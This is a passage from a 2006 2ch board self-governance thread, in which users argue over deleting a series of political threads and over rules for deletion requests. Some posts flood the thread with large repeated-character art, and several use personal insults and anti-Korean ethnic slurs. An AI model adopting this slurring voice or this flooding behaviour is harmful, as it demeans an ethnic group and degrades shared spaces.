欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


321 :日出づる処の名無し:2006/05/02(火) 21:24:16 ID:2zxTH2C2
>>320
つうことは船虫は無視していいのか?

今スレ立て荒らしが出てきてるから状況しだいでは対応したいんだけど

322 :日出づる処の名無し:2006/05/02(火) 21:24:52 ID:vsWSqaGq
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


323 :日出づる処の名無し:2006/05/02(火) 21:26:30 ID:vsWSqaGq
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


324 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 23:07:01 ID:p3FPdgKo
>>318
>だから実際に見ろといってるだろ

だから、ここは自治スレなんだから、オレのようにスレをちゃんと読むヤツだけが
納得しても仕方ねーの。どこがどうトンデモなのか、誰にでも分かるように示せっての。
「読んできたヤツの感想を信用する」なんてので自治が成り立つか?

>お前の主観で「すばらしい議論をしている」と勝手に判断したところで

すばらしい議論なんて言ってねーだろが。
オレが言ったのは「普通に議論してる」であり、それは
内容を一切把握せずとも、当時の
http://tmp6.2ch.net/test/read.cgi/asia/1146364640/242-265
↑このへんを眺めれば分かるだろ?
件のヤツが一見まともなレスをして、それに対して一見まともなレスを返しているヤツがいる。
砲撃するとか飽きたとか短文レスしてるヤツもいるが、それはおまえ(ID:XnK439vO)。
この程度のことなら、このようにリンク張れば「誰にでも分かる」だろ?
不満があるなら、その「一見してまともなレス」ってのを具体的に示すことだって可能だぞ。

>殆どの連中からみれば要らないんだよ。最初からな。

だからさー。生まれも現状も嫌韓ウヨの隔離板である極東板で
「殆どのヤツ」とか言ってどーすんの?
一昔前は、サヨがやってたことだぞ。こーゆーのは。

325 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 23:10:01 ID:p3FPdgKo
>>318
>何しろ話一切聞かないし、論破されてるにも関わらず

自治から外れるが、論破されてるってんなら、それを簡潔に示してみろ。
出来もしないで、偉そうなこと言うな。

>お前が参加できるんだったら参加して来い

普通に参加できるが?してやろうか?

>そんならお前が行って>>1を擁護してこいよ。

何でオレが擁護せにゃならんのだ?
おまえ、ここでもう勘違い丸出しじゃん。
たとえ逆にオレがヤツを論破しても、ヤツの行為が不当になるわけじゃない。
そんなことを言えば、ここにいる殆どのヤツは不当(荒らし)になるじゃん。
オレは論破しまくりなんだから(笑い。

いずれにせよ、論破するか擁護するかはスレ読んでから決まること。

>その通り。既に筋が通ってないので議論は終ってる。

おまえ、そういうのは勝利宣言って言うんだよ。
論破して終わらせたってんなら、ちゃんとした反証を書け。

326 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 23:11:17 ID:p3FPdgKo
>>319
>つまり相手がアホやキチガイだったら?ボケていたらどうなる?

だから、そんな妄想に走る前に、ちゃんとした反証を書けっての。
そうすりゃ、相手のコピペ毎に、それをコピペしてやりゃ、論破も明白だろ?
簡潔明瞭な反証ならな。
何でできないわけ?

そういうことをせずに、キチガイだとが相手の悪口ばかりいってるのは、
みっともないだけだぞ?

>病気かどうかの判断はこちらでは出来ないが、既に本人以外の全ての人間が
>納得してるんならそれで議論は終了、

そんなの、ちゃんとした反証をかけないヤツの言い訳。
相手が病気なほどムチャクチャなら、簡潔明瞭に示せるだろが。
それが出来ないってことは、相手がそれなりに難解だってこと。
>>317で言ったように、「相手の言ってることは詭弁(デンパ)に違いないと思うのだが、
それを示すことがどうしてもできない」って状況じゃん。
結局論破できてないわけだろ?
そんなんで、「周りもオレと同じ」なんてことに縋るのは議論からの逃避。
そもそも、何度も言うが、サヨ板でウヨが集中砲火を受け、ウヨ板でサヨが集中砲火を受けるのは
主張の当否とは関係なく、毎度のこと。
こんなもんに縋って自分が正論だろ思い込むな。

で、結局何なの?
運営行けば分かるが、削除人は一見して明かなルール違反しか削除(あるいはアク禁)しないんだから、
おまえが、簡潔明瞭に示さない限り無理だぞ。
自治スレではルール違反以外にも、一般道徳とか要望(独自ルール作り)という形で広い対応が可能だが、
それにしても、何も示さず、「オレがこういってるんだから、こうなんだ」じゃ話にならん。
もうちょっとどうにかしろよ。

327 :日出づる処の名無し:2006/05/02(火) 23:33:51 ID:sKU8HLjU
>>324

>だから、ここは自治スレなんだから、オレのようにスレをちゃんと読むヤツだけが
納得しても仕方ねーの。どこがどうトンデモなのか、誰にでも分かるように示せっての。

じゃああの>>1の言い分全部載せる?
あの議論だけで3スレ以上あるんだけどそれ全部レスしろと?


328 :日出づる処の名無し:2006/05/02(火) 23:48:18 ID:2zxTH2C2
船虫が理解してないだけではねえ・・・・

329 :日出づる処の名無し:2006/05/02(火) 23:50:16 ID:gPx0J9l9
やっこさんとりあえず消えたようだな。

330 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 23:56:39 ID:p3FPdgKo
>>327
整理するってことが出来ないのか?
そんなの
「この住宅には欠陥がない。証拠は実際の住宅。自分で調べろ」
と言ってるようなもの。
こういうのは論証(反証)できてないって言うもんじゃん。

331 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 23:58:11 ID:p3FPdgKo
>>328
こんなとこで多数派工作すんなっての。
多数なんて意味ないと何度言ったらわかるんだ?

332 :日出づる処の名無し:2006/05/03(水) 00:02:54 ID:0FNP9att
>>330

そりゃ罪刑まで一応出したんだからあとは「自分で調べろ」だろ。
整理も糞もただ議論する訳でも無く大量のレスを貼り付けただけなんだから
それ以上なんの説明がある。
それに関しては本人も周りも認めてるわけだからな。

お前の言ってるのはゴミ屋敷のゴミを整理しろといっているようなもので、
あまりそれに価値は無い。

333 :船虫Jr ◆.Tg2yBtH66 :2006/05/03(水) 00:11:01 ID:LZLMIztw
>>33
>そりゃ罪刑まで一応出したんだからあとは「自分で調べろ」だろ。

ふざけんな。そんな検事がいるか?
証拠出すのはかまわんが(だからといって死体を法廷に持ち込むなよ)、
それらをもとに立証しなきゃ罪に問えないじゃねーか。

>議論する訳でもなく

だから、少なくとも「一見するとまともなレス」だろって(>>324)。
つーか、議論する訳じゃないってのは、オレが言ってるような
「そもそも、ウヨサヨ論争で相手が負けを認めることなどまずない。
だから、オレはそういうものを目指してるわけじゃない」
これを「議論する気がない」と曲解してるだけじゃねーの?




334 :日出づる処の名無し:2006/05/03(水) 00:12:04 ID:LwGIa9+p
・・・法廷で、証拠として死体を提出したら、
怒られるだろ。

335 :日出づる処の名無し:2006/05/03(水) 00:39:40 ID:0FNP9att
まあとりあえず片付きつつあるが経過観察だな。

あと、やはり一人語り系の荒らしには対策が必要か。

336 :日出づる処の名無し:2006/05/03(水) 00:53:04 ID:LwGIa9+p
・・・なに〜!

お、俺の楽しみを・・・。

337 :日出づる処の名無し:2006/05/03(水) 11:09:20 ID:GfO1ZNbn
>>300
>無意味を無意味だと思えないヤツに、「これは無意味だ」と言ってるんだぞ?
おかしいと思わんか?

と言うのを言い換えると

馬鹿を馬鹿だと思えないやつに「おまえは馬鹿だ」と言ってるんだぞ?
おかしいと思わんか?

に置き換えると、糞虫は自分のことを理解していない事が良く分かってワロスwwwww

338 :日出づる処の名無し:2006/05/03(水) 18:28:04 ID:gvyO+f/F
棚の上の民族ですから
それが仕様です

339 :日出づる処の名無し:2006/05/03(水) 21:49:01 ID:0t6aLnA6
さすがにルール改正必要かもな

340 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 07:22:31 ID:mKpYJ+mF
>>337
>馬鹿を馬鹿だと思えないやつに「おまえは馬鹿だ」と言ってるんだぞ?

違う。
ID:XnK439vO
・ちゃんと読まなければ無意味だと分からない(一見まとも)。←ID:XnK439vOの主張
・「興味もないし、当事者でもない者」はわざわざ読んだりしない。←一般的事実
・ID:XnK439vOは読めば分かるとしか言わない。←事実
∴ID:XnK439vOは誰もが納得する主張の仕方をしてない。

オレ
・バカだから、自分がバカであることが分からない。←オレの主張。
・しかし、分かりやすく示せばバカでも分かることがある。←一般的事実
・オレは分かりやすく示している(少なくともそれを目指している)←事実
∴オレはバカでも分かるような仕方をしている。

まるで違うな。
まあ、こういうことが分からないおまえがバカってことだ。

341 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 07:24:06 ID:mKpYJ+mF
>>339
>さすがにルール改正必要かもな

発議するならしろよ。
なんか削除要請してるようだが↓、今のルールじゃ削除されないぞ。

asia:ニュース極東[スレッド削除]
http://qb5.2ch.net/test/read.cgi/saku/1085400725/529
名前:  投稿日: 2006/05/04(木) 04:16:33 HOST:p3095-ipbf401hodogaya.kanagawa.ocn.ne.jp
日の丸、君が代、愛国心=敵国心→戦争5
http://tmp6.2ch.net/test/read.cgi/asia/1146681429/

削除理由・詳細・その他:
4. 投稿目的による削除対象
全く情報価値の無いもの・真面目な議論や話し合いを目的としないもの
板の趣旨よりネタを優先するもの・客観的な意見を求めないものです。

どうも中身はそれっぽいですが組織の宣伝のようです。
ーーーーーーーーーーーーーーーー

・少なくとも外見上はまともな議論を(目的に)している。
・反論レスもたくさんあるし、スレを利用しているのはソイツだけじゃない。
・ホロン部もそうだが、組織がどーのなんてのは臆測にすぎない。
こんなんで削除されたら、ほとんどスレが削除されるじゃん。
実際には、こんな臆測で削除された例はない(少なくともオレは知らない)。

342 :日出づる処の名無し:2006/05/04(木) 11:19:24 ID:EE/WFu5I
必死ですね

343 :日出づる処の名無し:2006/05/04(木) 11:24:56 ID:pOn+mw3c
削除依頼を晒す行為はいけないはずなんですがね
判断は削除人がするもんで船虫がするもんじゃないです

344 :日出づる処の名無し:2006/05/04(木) 13:57:05 ID:soA24CZX
船虫は削除人になりたいといって暴れたことがあったよね

345 :日出づる処の名無し:2006/05/04(木) 16:24:18 ID:M/Ivw/dS
削除依頼は基本晒さないのがルールなのだが
船虫はその程度の事すら守れないのか

346 :日出づる処の名無し:2006/05/04(木) 18:53:50 ID:soA24CZX
在チョンにそんなこと言ったって無駄w

347 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 20:07:11 ID:60WQCORg
そんなルールどこにある?
妙な雰囲気をルールにするなよ。
削除依頼は公開じゃん。
つーか、自治スレで削除依頼を引用できないでどーする?

348 :日出づる処の名無し:2006/05/04(木) 20:08:07 ID:52KH7K4g
船虫不要論はここでもいいのかな?

って、スレ主じゃんw

349 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 20:36:51 ID:Vje2E+bR
いいよ。自治関連の議論なら何でも有りだ。
さ、とっとと展開しろ。

350 :日出づる処の名無し:2006/05/04(木) 20:57:17 ID:52KH7K4g
>>349

相手に配慮する姿勢を示す。

351 :日出づる処の名無し:2006/05/04(木) 20:58:24 ID:52KH7K4g
>>349
・・・スレちがいでゴメンね。
なんでID変わってるの?

352 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 21:20:10 ID:Vje2E+bR
>>350
>相手に配慮する姿勢を示す。

はあ?配慮してんじゃん。
一見して分かるような根拠を出さなきゃダメだとか。
つーか、このレスは何?
もしかしてこれが自論の展開のつもり?

>>351
ヒント:GW
つーか、個人を詮索しても不毛だぞ?
というか不利になるだけだぞ。

353 :日出づる処の名無し:2006/05/04(木) 21:36:04 ID:52KH7K4g
>>352
いや、ちゃうねん。
言葉がたらんかったな。

相手に配慮する姿勢を示す。

って、僕が船虫タンに配慮して遠慮しますよ
って意味なんよ。
気分を害したんなら、すまんかった。

>ヒント:GW
>つーか、個人を詮索しても不毛だぞ?
>というか不利になるだけだぞ。

そんな、船虫タン、つれないわぁ

354 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 21:40:28 ID:Vje2E+bR
>>353
まだ足らん。
何でここで遠慮が出てくる?

>気分を害したんなら、すまんかった。

こんな妙なこと言ってりゃ、ますます訳分からん。

355 :日出づる処の名無し:2006/05/04(木) 21:52:44 ID:anmdmk1S
船虫不要論ってどういう論だ?

間黒人にとって半チョッパリという意味か
日本人にとって治安を乱す元と言う意味か
世界的に見て非常識という意味か
自治を行う能力に欠けているという意味か

356 :日出づる処の名無し:2006/05/04(木) 21:53:46 ID:52KH7K4g
>>354
何が足らん?謝罪か? では、土下座を m(_ _)m

遠慮は、スレ主に対する配慮。

357 :日出づる処の名無し:2006/05/04(木) 21:55:10 ID:52KH7K4g
>>355
自治スレに船虫は不要じゃない?
って、ことなんだが。今回の自治スレはスレ主みたいだから遠慮しておく。


358 :日出づる処の名無し:2006/05/04(木) 22:19:29 ID:soA24CZX
日本社会にとって、船虫とその仲間たちは不要です

359 :船虫Jr ◆.Tg2yBtH66 :2006/05/04(木) 22:25:48 ID:Vje2E+bR
>>356
アンチコテにそういうこと言うから訳分からんのだよ。
というかスレ立てしたヤツであるとか関係ないぞ。
スレ立てで自治厨であることが承認されたとか、
自治厨に立候補したとか、そういうことはないから。
逆にそういうルールを作るとスレ立てに困難をきたす。
必要なときに気付いたヤツが立てればいいだけ。

>>358
それは極東板の話であるが、自治スレにとってはスレ違い。

360 :日出づる処の名無し:2006/05/04(木) 22:50:12 ID:EE/WFu5I
>>357
>今回の自治スレはスレ主みたいだから

そーでもない。言ってる事はトンチンカンだしな

361 :日出づる処の名無し:2006/05/04(木) 22:53:58 ID:IIQqo1bt
>>359
かまってほしいみたいだね?

362 :日出づる処の名無し:2006/05/05(金) 02:55:48 ID:Zu4cchx9
日の丸、君が代、愛国心=敵国心→戦争6
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/

もう周りの迷惑とか考えず自分の主張だけの為にだけで
立て続ける気ですね。

363 :ずうずうしいにも程がある:2006/05/05(金) 03:05:34 ID:Zu4cchx9
1 1 ◇85KgNR48dA New! 2006/05/05(金) 02:43:06 ID:EqSMpudL
前スレ
日の丸、君が代、愛国心=敵国心→戦争5
http://tmp6.2ch.net/test/read.cgi/asia/1146681429/
日の丸、君が代、愛国心=敵国心→戦争4
http://tmp6.2ch.net/test/read.cgi/asia/1146555597/
日の丸、君が代、愛国心=敵国心→戦争3
http://tmp6.2ch.net/test/read.cgi/asia/1146364640/
日の丸、君が代、愛国心=敵国心→戦争2
http://tmp6.2ch.net/test/read.cgi/asia/1146187315/
日の丸、君が代、愛国心=敵国心→戦争。
http://tmp6.2ch.net/test/read.cgi/asia/1145886359/

2 日出づる処の名無し sage 2006/05/05(金) 02:48:33 ID:JFNXqNCk
このスレッドは削除依頼済みです。
スムーズな処理の為に、これ以上の書き込みは控えてください。

4 日出づる処の名無し New! 2006/05/05(金) 02:59:56 ID:EqSMpudL
削除依頼はガセです。
そんなの出していません。

364 :日出づる処の名無し:2006/05/05(金) 03:27:09 ID:Zu4cchx9
元いた場所らしい
http://tmp6.2ch.net/test/read.cgi/sisou/1145010384/l50

(自衛隊板)
【戦争】←日の丸、君が代、愛国心=敵国心
http://society3.2ch.net/test/read.cgi/jsdf/1146130351/

自衛隊板のローカルルールに抵触。

(自衛隊板ローカルルールより)
■スレッド利用について■
・ 簡単な質問は【スレを立てる前にまずはここで質問を】
 自衛隊に対する非難は【自衛隊を非難するスレッド】
 ニュースは【日刊自衛隊ニュース】
 TV番組の紹介等は【自衛隊特集TV番組情報スレッド】
 の各スレッドへどうぞ。
・ 中傷を目的とした挑発・罵倒・連続コピペなどの荒らし行為、コテハン叩き、荒らし依頼
 などの書き込みは厳禁です。【削除ガイドライン】に抵触しないようにお願いします。

>>1が今回依頼したと思われるスレッド
http://etc3.2ch.net/test/read.cgi/qa/1145264116/
(初心者の質問板)

365 :日出づる処の名無し:2006/05/05(金) 04:05:28 ID:JFNXqNCk
>>363
削除依頼した者ですがGLを挙げるだけでは説明不足かもしれませんので補足を。

・議論の結果が一切フィードバックされていない事。
・スレ主本人が、「説得の意思は無い」と公言している事。
・議論の流れと関係の無いコピペが多い事。

以上の事実からただスレを立て続けても最早建設的な議論は不可能であると判断し、提出致しました。
少なくともスレタイを変更してある程度中立的な物とし、スレ主の態度が改善されるまでは削除対象となると思うのですが。
(よしんばそうなったとしても、他に適した板がある場合はそちらに立てるというGLには抵触するかもしれません。)

366 :日出づる処の名無し:2006/05/05(金) 04:23:08 ID:Wl8Ng1pp
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/17
スレッド削除依頼ではなく、レス削除依頼をするべきだと思うのだが

367 :日出づる処の名無し:2006/05/05(金) 04:25:34 ID:JFNXqNCk
>>366
>>1のコピペが多すぎて面倒。

日本の愛国心について議論する事自体は別に良いと思うので
もう少し中立性のあるスレッドタイトルで出直したほうが早いし効果的じゃないか。

368 :日出づる処の名無し:2006/05/05(金) 04:33:24 ID:Zu4cchx9
それよりもだ。

何も知らない民間人を盾にしてやがった。こっちの方が重大だわ。
何しろ>>1のホストは必ず確保されるからある程度の責任に基づいてスレを立てるのに
コイツは「右翼に攻撃する」(つまり荒らす/コピペする)為のスレを全く関係ない第三者、
しかも「初心者の質問」板で何も分からない人間に何も言わずに立てさせてた。

スレッド削除なんだからホストが出るのは最初の>>1だから、
アク禁とか食らうのも立てた>>1がホスト晒しとかの処罰を受けて本人はノーダメージ。

つまり人間の盾ですよ

369 :日出づる処の名無し:2006/05/05(金) 05:10:40 ID:Wl8Ng1pp
>>367
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/
そもそも↑のスレではまだ連続投稿・コピー&ペーストされてないから
GL6は削除理由にならないだろ

370 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 09:12:39 ID:QdyEoNUM
>>365
>・議論の結果が一切フィードバックされていない事。

そもそもレスのやり取りはあっても、フィードバックによって自説を変えるなんて極めて希なこと。
そんな奇跡的なことがおきないないからといって、不当などとは言えない。
とはいえ、驚くべきことに、彼の場合は実際にフィードバックが自説に反映している。
少なくとも、 
http://tmp6.2ch.net/test/read.cgi/asia/1145886359/1

http://tmp6.2ch.net/test/read.cgi/asia/1146681429/573
また言わずと知れたことだが、レスの遣り取りは普通に存在する。

>・スレ主本人が、「説得の意思は無い」と公言している事。

現物の提示をしてくれ。
この手の発言は文脈がないと意味が確定できない。

>・議論の流れと関係の無いコピペが多い事。

これも同じ。具体的な例をあげてくれ。
というか、議論とは関係ないうどん談義でスレを埋めようというヤツが多く存在してる状況で、
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/2
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/9
などという議論妨害とも取れるレスをしてる本人が何を言うかって感じだが?

371 :船虫Jr ◆.Tg2yBtH66 :2006/05/05(金) 09:16:31 ID:QdyEoNUM
>>367
>>>1のコピペが多すぎて面倒。

わがまま言うな。そういうルールなんだよ。
たとえレスが荒らし認定されたとしても、削除されるべきはレスであってスレではない。
そうじゃないと、(スレ荒らせばスレが削除されるのだから)、荒らしの思う壺だろ?

>もう少し中立性のあるスレッドタイトルで出直したほうが早いし効果的じゃないか。

そんなNHKみたいなルールはないし、まったく非現実的。
極東板のスレのほとんどは一方の意見でスレ立てして、そこから議論が始まるというスタイル。
「○○について」なんてスレタイだとレスがなかなか付かない。
タイトルに中立性が求められるのは、この自治スレや極東板雑談スレなど公共性の高いスレだけ。

>>368
>何も知らない民間人を盾にしてやがった。こっちの方が重大だわ。

